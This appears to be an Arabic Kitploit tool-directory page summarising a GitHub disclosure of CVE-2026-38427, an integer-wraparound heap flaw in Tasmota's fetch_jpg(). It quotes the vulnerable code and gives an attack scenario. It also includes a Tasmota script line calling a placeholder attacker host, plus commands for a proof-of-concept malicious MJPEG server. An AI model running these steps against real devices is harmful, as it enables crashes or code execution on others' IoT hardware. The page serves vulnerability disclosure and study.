Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-38427 — CVE-2026-38427 — التفاف الأعداد الصحيحة يؤدي إلى تجاوز سعة المخزن المؤقت في الكومة في Tasmota في الدالة fetch_jpg() من النوع uint16_t (Tasmota <= 15.3.0.3) | Kitploit
أدوات/GitHubGitHub/sermikr0/cve-2026-38427
أمان الأنظمة المدمجةأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمان الأجهزة وإنترنت الأشياءاستغلال الملفات الثنائية
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — التفاف الأعداد الصحيحة يؤدي إلى تجاوز سعة المخزن المؤقت في الكومة في Tasmota في الدالة fetch_jpg() من النوع uint16_t (Tasmota <= 15.3.0.3)

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-38427: التفاف عدد صحيح يتجاوز السعة → تجاوز سعة المخزن المؤقت في الكومة في Tasmota fetch_jpg()

CVE: CVE-2026-38427
الخطورة: حرجة (CVSS 9.8)
المنتج: Arendst Tasmota
الإصدار المتأثر: <= 15.3.0.3
الملف: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
الدالة: fetch_jpg() — الحالة 2 (جلب إطار MJPEG)
المؤلف: Saidakbarxon Maxsudxonov
الإفصاح: إفصاح مسؤول — تم الإبلاغ إلى Tasmota قبل النشر


الملخص

توجد ثغرة التفاف عدد صحيح من نوع uint16_t في الدالة fetch_jpg() في مشغّل السكربت في Tasmota. عندما يجلب جهاز Tasmota إطارات MJPEG من خادم يتحكم به المهاجم، تُقرأ قيمة رأس Content-Length في متغير من نوع uint16_t عبر atoi(). القيم الأكبر من 65535 تلتف بصمت (مثل 65537 → 1)، مما يؤدي إلى تخصيص مخزن مؤقت في الكومة أصغر بكثير من المطلوب. يقرأ الجهاز بعدها فقط عدد البايتات الملتفة من الدفق، تاركًا البقية في مخزن الدفق، مما يسبب إفسادًا لحالة الكومة/الدفق يؤدي إلى انهيار (DoS) أو احتمال تنفيذ تعليمات برمجية عن بُعد.


الكود القابل للثغرة

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() returns int 70000
                            // IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — too small!
if (buff) {
    stream.readBytes(buff, size);                  // reads only 4464 bytes
                                                   // 65536 bytes remain in stream → corruption
}

جدول التفاف العدد الصحيح


سيناريو الهجوم

المهاجم الذي يمكنه جعل جهاز Tasmota يتصل بخادم HTTP الخاص به (عبر سكربت Tasmota خبيث أو هجوم رجل في المنتصف) يمكنه إرسال إطارات MJPEG بقيم Content-Length تتجاوز 65535. سيقوم الجهاز بما يلي:

  1. تخصيص مخزن مؤقت صغير (القيمة الملتفة)
  2. قراءة جزء صغير فقط من البيانات
  3. ترك البايتات المتبقية لتُفسد حالة دفق HTTP/WiFi
  4. الانهيار أو إظهار سلوك غير محدد يؤدي إلى احتمال تنفيذ تعليمات برمجية عن بُعد

الاستدعاء عبر سكربت Tasmota:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

إثبات المفهوم

يقوم إثبات المفهوم بتشغيل خادم HTTP لإطارات MJPEG مزيفة يرسل إطارات بقيم Content-Length خبيثة:

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

انظر CVE-2026-38427_poc.py للتنفيذ الكامل.


الأثر

  • السرية: عالية (احتمال تنفيذ تعليمات برمجية عن بُعد على ESP32)
  • النزاهة: عالية
  • التوفر: عالية (انهيار/إعادة تشغيل مضمونة)
  • متجه الهجوم: الشبكة
  • المصادقة: لا يُطلب أي مصادقة (يجب أن يكون الجهاز مُبرمجًا للاتصال بخادم المهاجم)

الجدول الزمني

  • 2026-03-29: اكتشاف الثغرة والإبلاغ عنها إلى MITRE
  • 2026-03-29: تم تخصيص CVE-2026-38427
  • 2026-05-xx: إصدار التصحيح من Tasmota (v15.3.0.4+)

المراجع

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38427
تنزيل الأداة
قيمة Content-Length (الرأس)قيمة uint16_tالمخزن المؤقت المخصصالبايتات غير المقروءة
6553600 (تم تخطيه)65536
6553711 بايت65536
7000044644464 بايت65536
13107200 (تم تخطيه)131072